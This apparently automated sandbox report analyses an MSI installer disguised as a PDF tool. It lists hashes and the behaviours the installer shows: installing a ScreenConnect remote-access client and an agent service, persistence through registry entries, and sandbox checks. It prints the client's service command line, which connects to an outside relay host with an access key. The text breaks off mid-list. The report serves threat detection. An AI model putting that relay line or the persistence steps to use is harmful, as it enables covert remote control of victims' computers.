Analysis
- max time kernel
123s - max time network
154s - platform
windows10-2004_x64 - resource
win10v2004-20260911-en - resource tags
arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows - submitted
16/09/2026, 18:28
Static task
static1
Behavioral task
behavioral1
Sample
precisionmedicPDF.msi
Resource
win10v2004-20260911-en
windows10-2004-x64
28 signatures
150 seconds
Behavioral task
behavioral2
Sample
precisionmedicPDF.msi
Resource
win11ltsc2024-20260911-en
windows11-ltsc_2024-x64
21 signatures
150 seconds
General
- Target precisionmedicPDF.msi
- Size 27.7MB
- Sample260916-w4e9aatfkf
- SHA256 39add9bfe01bfa97a090d75b6db0db39231c30677097a23b41c18d904682974d
- MD5 e2a7e84250bf95cddff219d6433db7dc
- SHA1 a26286ee057b6f119433587dbe649fcc76344011
- SHA512 106cdc9cbd828223452e3f5b2bc88f39635b2499f1f2d3aee508e20381eabbc5f16e21a672b13c43be15a657b2a02a94faf8a0d3c75cb83f2df4711d5d7e52c1
- SSDEEP 393216:rQN68djKVYJ5oPX4n124EYGxn80Zhj6wvo9D:sQ8djKVYJMX4n16FpFt6
- TLSH T1B657AD472670A416FA34C0B88D52C8F35B36B99F461075B77ACC497527E2C632FBC9A8
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Sets service image path in registry 3 TTPs 1 IoCs
This determines the executable launched when a service starts. It can be used to establish persistence.
description ioc Process Set value (str) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\ScreenConnect Client (5842342e5d4fc124)\ImagePath = "\"C:\\Program Files (x86)\\ScreenConnect Client (5842342e5d4fc124)\\ScreenConnect.ClientService.exe\" \"?e=Access&y=Guest&h=relay.primeautomotive.space&p=8041&s=ed580ccf-e328-459c-b46e-6add5f55149f&k=BgIAAACkAABSU0ExAAgAAAEAAQBZKeEYj8TxaN0OUbD7%2f7anwCSKH8XUB6v5AmYLFkh6taAobtcJYKkthvL1wWA9XiRCWcUCyo%2f%2f%2b%2fu65UbKMZzdkLRW9UrrQGE3%2bpsKkZf%2fz3Y4qN%2b30tKG1eKSRQ%2b%2fhV%2b4Dn%2fjNO8zxSHxe6v9xyqfL2fEkyKd%2bS%2b6%2fbVWqz%2bhVOzfGOfBW69DDiQHi6wCwHhXz%2fZQR%2fQ2en0gQjaWGiPg5celFmKAQD8oW78vlMgp84radn0aC4J1Xz24qwvxn36zzy16775DQsSSWpqhs3DWCUEf7214ZhdQfybS%2feXva3WeU%2fysTxM1D7NwqDJd%2bQ2KElkCNP3M1VzVX5d0b1mV&v=AQAAANCMnd8BFdERjHoAwE%2fCl%2bsBAAAAcBU0Xvhca0%2b0RsMWYi2HdgAAAAACAAAAAAAQZgAAAAEAACAAAABoT72%2fuWhmcXM22%2biZWJ6vxhs7Jpv0dzK%2bjeP5sUJn1wAAAAAOgAAAAAIAACAAAABMTpwSU7R69%2fRgChg2TovYJcjQaVIpNTTJK23s8U4xHaAEAAAVrTxYli%2bUUQSAHhLqSCeJcPhomu1PLLf3Kx1ayz%2fmL559AlmvuAxS6jd2jqEAlsUNC7282AbxBjnU8eq5wZW1C%2baqGwhPxYJ6xDotPepJolyPBEpyazd1VSOBjBEsvQXgNaEKqduXKLVtFebMb0GWbEd3m1qE86vYAIhUTuMBL7czgbohC65aQYuFGkYabssiYpLh2qghtSPjCmjwz0OnJCB0GE6PecEcfvqlaOCVo6vFsXXf2uF72u8Fs%2ftEqs5fnccfaI6rG7fz1wUjAeQT3DCU4%2bwfjHgbq7pzD5cAtYnoSbInoqfwCPT6HDO1raF%2b%2fanV6cSZ9QwxoeIApd%2fNkYQzKJM%2fb50fPYPM4GVjwzY5fIqcanwx7%2fKxRxs9IJpCk7W%2fI1q%2bI0tyY4zEnEe4SQlBUpRbCsifqGxYQx%2b8njEQgAngqDAJ0jlEiJH8MPtRlgAr2mgD1YyOFeQ%2fHlubj4miUoMYKqc9c%2b6A%2bahMbOulW0ATJTxa0fR7t6gbbELoJXb2EP5BJMuVKe1aK%2fH82hYFGUWogWHER6eTGhws%2fNsqgFiBQPvCTHXmZbp1xLLt%2fW%2b4SQgQE8ZLkkENSYxrvOMQnIqrYVC8AR02vyl%2fNmVhdTVwQrraTRoWg5iwMzVIGJamNg9Qswe%2fHq14%2bABqZxvUMHqW%2bWJOE2Ru444D5FloxqYVQm%2f2ni5Ei%2fzQ86dsD6GTg%2b2WSAiy6iKa1VWJLigA%2fFpX1RGaYA6chmBxurCWfAa3M%2b8DKW0Vl2ZjoO4VTbxwfp8nkS1%2bAwqan5x4rzrzmv3mKous25pDDc3TPC%2bgSaM21xB5pua7h%2fP44EwJnMrzCE1ATzqyKiC8t92HiuHJDvMMALtB1INNXhncefKvxSOZ3Qz4jbpsPQJa%2fbY5N%2buojQgYQSLVKCZ7OBQSVUe9GxKd%2fMJeesZzUO02ar0NStrpEuqq9%2fJl%2fZPIdBSFFZwqIMAsjzfELDq89Qst0tu%2fePtnLb2DqsFQZLOEK34of8Q7t6tdUgYX6Kl1STAVWKg3azw6%2bc8PSK3LjOHYKs3XRCdToUnjw63leepiY4rUm3Wd8aexYRAqjM7Gofyj5XJjHrU02JccQepkWMOIYVkJp72pGBFl%2f%2bO14diLRW7AgHQd6i02hqVOVzzDwd6HUSuJrIfrlgzTUZtXX5mFlcIJ8sOkyDhauo1ZFkH%2f2v72fsJpK1QlhX5AZy1cM7RR7e59u1Pq218JfPMVSOt7BbwVyRWDtRifpaN%2fcFOeEsFMDE%2fAbR8PZpsjkGluSYUmaW9Ne7UfpYwwNTHnZunylDu02rBgXSk194VB2CNYzCZMj0F6asAbiUsNN7KACuy4jLJFGMLIXIkRuklEHDWAQUX2sQUPbAfZ2iJjH8LvdNhZBjMjiB2lcOUIiTtRVWLO9qNOYEZHtcp87msmpTSYbW2yxSjGEvnTFFLHYrxT74%2biO4%2fdzOX7HaBsg0CTLlvlJ%2bsSm6y1S0kVCqRg3Iy5rTo7pWghblU6tdgZOCe87TfqiFkeS0YA6So49u1CDlCKw7ALSGDqBWZTYHOF3Br6BXodG7ZrMsZntvhDxe%2fSwkAAAACDsY3bas5nLtbySYWSs9upVvYM1ZXvUuFz%2bUTZ7SZMm1kErXacnPm3Y6dBzR24ZEDV%2bHjTuIOsx%2fGYtMXkWkT%2b\"" ScreenConnect.ClientService.exe - Signed with revoked ConnectWise certificate 1 IoCs
Binary is signed using a ConnectWise certificate revoked for key compromise.
resource yara_rule behavioral1/memory/2096-320-0x0000000004930000-0x0000000004A02000-memory.dmp revoked_cert_connectwise - Event Triggered Execution: Component Object Model Hijacking 1 TTPs
Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.
- Executes dropped EXE 10 IoCs
pid Process 4236 OpsBridgeAgent.exe 2096 ScreenConnect.ClientService.exe 6124 ScreenConnect.WindowsClient.exe 4904 OpsBridgeAgent.exe 1800 OpsBridgeAgent.exe 4920 OpsBridgeAgent.exe 3248 OpsBridgeAgent.exe 5896 OpsBridgeAgent.exe 5568 OpsBridgeAgent.exe 772 ScreenConnect.WindowsClient.exe - Loads dropped DLL 64 IoCs
pid Process 5856 MsiExec.exe 2624 MsiExec.exe 4236 OpsBridgeAgent.exe 4236 OpsBridgeAgent.exe 4236 OpsBridgeAgent.exe 4236 OpsBridgeAgent.exe 4236 OpsBridgeAgent.exe 4236 OpsBridgeAgent.exe 4236 OpsBridgeAgent.exe 4236 OpsBridgeAgent.exe 4236 OpsBridgeAgent.exe 4236 OpsBridgeAgent.exe 4236 OpsBridgeAgent.exe 4236 OpsBridgeAgent.exe 4236 OpsBridgeAgent.exe 4236 OpsBridgeAgent.exe 4236 OpsBridgeAgent.exe 4236 OpsBridgeAgent.exe 4236 OpsBridgeAgent.exe 4236 OpsBridgeAgent.exe 4236 OpsBridgeAgent.exe 4236 OpsBridgeAgent.exe 4236 OpsBridgeAgent.exe 4236 OpsBridgeAgent.exe 4236 OpsBridgeAgent.exe 4236 OpsBridgeAgent.exe 4236 OpsBridgeAgent.exe 4236 OpsBridgeAgent.exe 4236 OpsBridgeAgent.exe 4236 OpsBridgeAgent.exe 4236 OpsBridgeAgent.exe 4236 OpsBridgeAgent.exe 4236 OpsBridgeAgent.exe 5612 MsiExec.exe 1276 rundll32.exe 1276 rundll32.exe 1276 rundll32.exe 1276 rundll32.exe 1276 rundll32.exe 1276 rundll32.exe 1276 rundll32.exe 1276 rundll32.exe 1276 rundll32.exe 5612 MsiExec.exe 5612 MsiExec.exe 2096 ScreenConnect.ClientService.exe 2096 ScreenConnect.ClientService.exe 2096 ScreenConnect.ClientService.exe 2096 ScreenConnect.ClientService.exe 2096 ScreenConnect.ClientService.exe 2096 ScreenConnect.ClientService.exe 2096 ScreenConnect.ClientService.exe 2096 ScreenConnect.ClientService.exe 2096 ScreenConnect.ClientService.exe 2096 ScreenConnect.ClientService.exe 4904 OpsBridgeAgent.exe 4904 OpsBridgeAgent.exe 1800 OpsBridgeAgent.exe 1800 OpsBridgeAgent.exe 4904 OpsBridgeAgent.exe 4904 OpsBridgeAgent.exe 4904 OpsBridgeAgent.exe 4904 OpsBridgeAgent.exe 4904 OpsBridgeAgent.exe - Badlisted process makes network request 4 IoCs
Network request originating from process or tool commonly abused by malware.
flow pid Process 2 812 msiexec.exe 7 812 msiexec.exe 8 812 msiexec.exe 19 3008 msiexec.exe - Enumerates connected drives 3 TTPs 46 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\E: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\E: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\Y: msiexec.exe - Hide Artifacts: Hidden Window 1 TTPs 2 IoCs
Windows that would typically be displayed when an application carries out an operation can be hidden.
pid Process 1920 cmd.exe 5556 cmd.exe - Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs
Suspicious Windows Authentication Registry Modification.
description ioc Process Set value (data) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Lsa\Authentication Packages = 6d007300760031005f003000000043003a005c00500072006f006700720061006d002000460069006c00650073002000280078003800360029005c00530063007200650065006e0043006f006e006e00650063007400200043006c00690065006e00740020002800350038003400320033003400320065003500640034006600630031003200340029005c00530063007200650065006e0043006f006e006e006500630074002e00570069006e0064006f0077007300410075007400680065006e007400690063006100740069006f006e005000610063006b006100670065002e0064006c006c0000000000 msiexec.exe - Drops file in System32 directory 11 IoCs
description ioc Process File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File created C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\rundll32.exe.log rundll32.exe File created C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (5842342e5d4fc124)\g0a4zevd.newcfg ScreenConnect.ClientService.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File created C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (5842342e5d4fc124)\g0a4zevd.tmp ScreenConnect.ClientService.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\ScreenConnect.WindowsClient.exe.log ScreenConnect.WindowsClient.exe - Drops file in Program Files directory 57 IoCs
description ioc Process File created C:\Program Files (x86)\ScreenConnect Client (5842342e5d4fc124)\ScreenConnect.WindowsAuthenticationPackage.dll msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (5842342e5d4fc124)\ScreenConnect.WindowsBackstageShell.exe msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (5842342e5d4fc124)\ScreenConnect.WindowsClient.exe msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (5842342e5d4fc124)\ScreenConnect.WindowsFileManager.exe.config msiexec.exe File created C:\Program Files\OpsBridge\vcruntime140_1.dll msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (5842342e5d4fc124)\ScreenConnect.WindowsClient.exe.config msiexec.exe File created C:\Program Files\OpsBridge\libffi-8.dll msiexec.exe File created C:\Program Files\OpsBridge\pyexpat.pyd msiexec.exe File created C:\Program Files\OpsBridge\.write_probe OpsBridgeAgent.exe File created C:\Program Files (x86)\ScreenConnect Client (5842342e5d4fc124)\ScreenConnect.ClientService.dll msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (5842342e5d4fc124)\Client.en-US.resources msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (5842342e5d4fc124)\Client.resources msiexec.exe File created C:\Program Files\OpsBridge\_win32sysloader.pyd msiexec.exe File created C:\Program Files\OpsBridge\win32api.pyd msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (5842342e5d4fc124)\ScreenConnect.Client.dll msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (5842342e5d4fc124)\ScreenConnect.WindowsCredentialProvider.dll msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (5842342e5d4fc124)\ScreenConnect.ClientService.exe msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (5842342e5d4fc124)\ScreenConnect.Windows.dll msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (5842342e5d4fc124)\app.config msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (5842342e5d4fc124)\Client.Override.resources msiexec.exe File created C:\Program Files\OpsBridge\python313.dll msiexec.exe File created C:\Program Files\OpsBridge\unicodedata.pyd msiexec.exe File created C:\Program Files\OpsBridge\win32service.pyd msiexec.exe File created C:\Program Files\OpsBridge\win32ui.pyd msiexec.exe File created C:\Program Files\OpsBridge\psutil\_psutil_windows.pyd msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (5842342e5d4fc124)\ScreenConnect.WindowsFileManager.exe msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (5842342e5d4fc124)\system.config msiexec.exe File created C:\Program Files\OpsBridge\_bz2.pyd msiexec.exe File created C:\Program Files\OpsBridge\_wmi.pyd msiexec.exe File created C:\Program Files\OpsBridge\libcrypto-3.dll msiexec.exe File created C:\Program Files\OpsBridge\pywintypes313.dll msiexec.exe File created C:\Program Files\OpsBridge\_queue.pyd msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (5842342e5d4fc124)\ScreenConnect.Core.dll msiexec.exe File created C:\Program Files\OpsBridge\python3.dll msiexec.exe File created C:\Program Files\OpsBridge\servicemanager.pyd msiexec.exe File created C:\Program Files\OpsBridge\vcruntime140.dll msiexec.exe File created C:\Program Files\OpsBridge\charset_normalizer\python3.dll msiexec.exe File created C:\Program Files\OpsBridge\_lzma.pyd msiexec.exe File created C:\Program Files\OpsBridge\_ssl.pyd msiexec.exe File created C:\Program Files\OpsBridge\win32event.pyd msiexec.exe File created C:\Program Files\OpsBridge\win32evtlog.pyd msiexec.exe File created C:\Program Files\OpsBridge\certifi\cacert.pem msiexec.exe File created C:\Program Files\OpsBridge\_decimal.pyd msiexec.exe File created C:\Program Files\OpsBridge\_uuid.pyd msiexec.exe File created C:\Program Files\OpsBridge\libssl-3.dll msiexec.exe File created C:\Program Files\OpsBridge\OpsBridgeAgent.exe msiexec.exe File created C:\Program Files\OpsBridge\perfmon.pyd msiexec.exe File created C:\Program Files\OpsBridge\charset_normalizer\md__mypyc.pyd msiexec.exe File created C:\Program Files\OpsBridge\_ctypes.pyd msiexec.exe File created C:\Program Files\OpsBridge\_socket.pyd msiexec.exe File created C:\Program Files\OpsBridge\select.pyd msiexec.exe File created C:\Program Files\OpsBridge\_hashlib.pyd msiexec.exe File created C:\Program Files\OpsBridge\charset_normalizer\md.pyd msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (5842342e5d4fc124)\ScreenConnect.WindowsBackstageShell.exe.config msiexec.exe File created C:\Program Files\OpsBridge\_elementtree.pyd msiexec.exe File created C:\Program Files\OpsBridge\pythoncom313.dll msiexec.exe File created C:\Program Files\OpsBridge\psutil\python3.dll msiexec.exe - Drops file in Windows directory 32 IoCs
description ioc Process File created C:\Windows\Installer\inprogressinstallinfo.ipi msiexec.exe File opened for modification C:\Windows\Installer\MSI992A.tmp msiexec.exe File created C:\Windows\Installer\e59960e.msi msiexec.exe File created C:\Windows\Installer\{3D2F1BF4-4EA2-67F1-D367-91C2A698332D}\DefaultIcon msiexec.exe File created C:\Windows\Installer\e59960c.msi msiexec.exe File opened for modification C:\Windows\Installer\e59960c.msi msiexec.exe File opened for modification C:\Windows\Installer\MSIB153.tmp-\Microsoft.Deployment.WindowsInstaller.dll rundll32.exe File opened for modification C:\Windows\Installer\MSIB153.tmp-\ScreenConnect.Core.dll rundll32.exe File opened for modification C:\Windows\Installer\{3D2F1BF4-4EA2-67F1-D367-91C2A698332D}\DefaultIcon msiexec.exe File opened for modification C:\Windows\Installer\MSIB636.tmp msiexec.exe File created C:\Windows\Installer\{A7DCB3ED-CF03-4ED1-8D32-D7DBAB9E08E3}\OpsBridgeIcon.exe msiexec.exe File opened for modification C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log msiexec.exe File opened for modification C:\Windows\Installer\MSIB153.tmp-\Microsoft.Deployment.WindowsInstaller.Package.dll rundll32.exe File created C:\Windows\Installer\e599613.msi msiexec.exe File opened for modification C:\Windows\Installer\MSIB695.tmp msiexec.exe File created C:\Windows\Installer\wix{3D2F1BF4-4EA2-67F1-D367-91C2A698332D}.SchedServiceConfig.rmi MsiExec.exe File created C:\Windows\Installer\e59960f.msi msiexec.exe File opened for modification C:\Windows\Installer\MSI9B4E.tmp msiexec.exe File created C:\Windows\Installer\wix{A7DCB3ED-CF03-4ED1-8D32-D7DBAB9E08E3}.SchedServiceConfig.rmi MsiExec.exe File opened for modification C:\Windows\Installer\e59960f.msi msiexec.exe File opened for modification C:\Windows\Installer\MSIB153.tmp-\ScreenConnect.Windows.dll rundll32.exe File opened for modification C:\Windows\Installer\MSIB153.tmp-\Microsoft.Deployment.Compression.dll rundll32.exe File opened for modification C:\Windows\Installer\MSIB153.tmp-\Microsoft.Deployment.Compression.Cab.dll rundll32.exe File created C:\Windows\Installer\SourceHash{3D2F1BF4-4EA2-67F1-D367-91C2A698332D} msiexec.exe File created C:\Windows\Installer\SourceHash{A7DCB3ED-CF03-4ED1-8D32-D7DBAB9E08E3} msiexec.exe File opened for modification C:\Windows\Installer\MSI98BC.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSIB153.tmp-\ScreenConnect.InstallerActions.dll rundll32.exe File opened for modification C:\Windows\Installer\{A7DCB3ED-CF03-4ED1-8D32-D7DBAB9E08E3}\OpsBridgeIcon.exe msiexec.exe File opened for modification C:\Windows\Installer\MSIB153.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSIB153.tmp-\CustomAction.config rundll32.exe File opened for modification C:\Windows\Installer\MSIB935.tmp msiexec.exe File opened for modification C:\Windows\Installer\ msiexec.exe -
pid Process 4148 powershell.exe 6124 powershell.exe 3288 powershell.exe 5560 powershell.exe 4760 powershell.exe 2824 powershell.exe 4220 powershell.exe 452 powershell.exe - Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs
pid Process 812 msiexec.exe - Event Triggered Execution: Netsh Helper DLL 1 TTPs 9 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
description ioc Process Key opened \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe - Executes a command shell one-liner 1 TTPs 6 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 4740 cmd.exe 2392 cmd.exe 4812 cmd.exe 2524 cmd.exe 5408 cmd.exe 756 cmd.exe - System Location Discovery: System Language Discovery 1 TTPs 3 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language MsiExec.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language rundll32.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language ScreenConnect.ClientService.exe - Checks SCSI registry key(s) 3 TTPs 5 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr vssvc.exe Set value (data) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\PartitionTableCache = 000000000400000069bf6088149b83f10000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000c01200000000ffffffff00000000270101000008000069bf60880000000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000d01200000000000020ed35000000ffffffff00000000070001000068090069bf6088000000000000d012000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f0ff350000000000000005000000ffffffff000000000700010000f8ff1a69bf6088000000000000f0ff350000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f0ff3a0000000000000005000000ffffffff000000000700010000f87f1d69bf6088000000000000f0ff3a00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 vssvc.exe Set value (data) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\SnapshotDataCache = 534e41505041525401000000700000008ec7416a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 vssvc.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters vssvc.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters vssvc.exe - Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString ScreenConnect.WindowsClient.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 ScreenConnect.WindowsClient.exe - Modifies data under HKEY_USERS 64 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" ScreenConnect.WindowsClient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\28 msiexec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\28\52C64B7E\@%SystemRoot%\system32\dnsapi.dll,-103 = "Domain Name System (DNS) Server Trust" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.exe Key created 